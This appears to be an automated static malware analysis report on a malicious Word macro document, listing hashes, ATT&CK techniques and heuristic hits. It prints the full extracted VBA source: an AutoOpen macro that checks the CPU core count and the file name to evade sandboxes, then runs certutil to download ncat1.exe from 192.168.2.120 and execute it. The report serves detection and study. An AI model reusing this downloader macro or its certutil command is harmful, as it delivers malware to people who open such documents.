Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 a9aed7e0cd95eb56…

MALICIOUS

Office (OOXML)

19.7 KB Created: 2021-06-03 14:32:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-13
MD5: 705eba7dfa5b364cd255c6337d03bcb4 SHA-1: 949627be99eea24359beb9a531126465111d02d4 SHA-256: a9aed7e0cd95eb56165838917c52b2d329cf488d8353f9a14b6e3bdfb8bd576a
430 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.005 System Binary Proxy Execution: Signed Binary Proxy Execution T1105 Ingress Tool Transfer

The sample contains VBA macros with an AutoOpen subroutine that checks the document name. If the name does not match a specific string, it proceeds to execute a command. This command uses certutil.exe to download a second-stage payload from 'http://192.168.2.120/ncat1.exe' and saves it as 'c:\Users\win\ncat2.exe', then executes it. This indicates a downloader functionality.

Heuristics 10

  • ClamAV: Win.Downloader.CertutilURLCache-6335698-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Downloader.CertutilURLCache-6335698-0
  • VBA project inside OOXML medium 7 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
            Dim objShell
        Set objShell = CreateObject("WScript.Shell")
        objShell.Run "cmd.exe /c certutil.exe -urlcache -split -f http://192.168.2.120/ncat1.exe c:\Users\win\ncat2.exe && c:\Users\win\ncat2.exe"
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
            Set objShell = CreateObject("WScript.Shell")
        objShell.Run "cmd.exe /c certutil.exe -urlcache -split -f http://192.168.2.120/ncat1.exe c:\Users\win\ncat2.exe && c:\Users\win\ncat2.exe"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
            Dim objShell
        Set objShell = CreateObject("WScript.Shell")
        objShell.Run "cmd.exe /c certutil.exe -urlcache -split -f http://192.168.2.120/ncat1.exe c:\Users\win\ncat2.exe && c:\Users\win\ncat2.exe"
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
    Set colItems = objWMIService.ExecQuery("Select * from Win32_Processor", , 48)
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
            Set objShell = CreateObject("WScript.Shell")
        objShell.Run "cmd.exe /c certutil.exe -urlcache -split -f http://192.168.2.120/ncat1.exe c:\Users\win\ncat2.exe && c:\Users\win\ncat2.exe"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "NewMacros"
Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://192.168.2.120/ncat1.exe In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1548 bytes
SHA-256: 28f59421ecd021da76c86b3eb54e4a581e7c3fdf61ff213a59feaec45765775e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()

    Dim i
    badCores = 0

    Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
    Set colItems = objWMIService.ExecQuery("Select * from Win32_Processor", , 48)
    
    For Each objItem In colItems
    
            If objItem.NumberOfCores < 3 Then
                badCores = True
            End If
        
    Next

    If badCores = True Then
        
        i = 1
        
    Else
            
            checkPreciseFileName

        
    End If


 

End Sub

Private Function MSG()
'Sub MSG()
 MsgBox ("TEST")
End Function


Public Sub checkPreciseFileName()

    'MsgBox "[*] Checking Precise Filename ..."
    
    badName = False

  
    If ActiveDocument.Name <> "certutil2_12_64_only_certutil_TEST2_cores.docm" Then
            badName = True
    End If
 
    If badName Then
        i = 1
       'MsgBox "DETECTED"
       
    Else
    
        Dim objShell
        Set objShell = CreateObject("WScript.Shell")
        objShell.Run "cmd.exe /c certutil.exe -urlcache -split -f http://192.168.2.120/ncat1.exe c:\Users\win\ncat2.exe && c:\Users\win\ncat2.exe"
        
        
        'MsgBox "OK"
    End If
    
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 19968 bytes
SHA-256: 1d4f7d123b7a3255062d1b3850c72b5e988f09d2d3a4855162aac84968eb6fce
Detection
ClamAV: Win.Downloader.CertutilURLCache-6335698-0
Obfuscation or payload: unlikely

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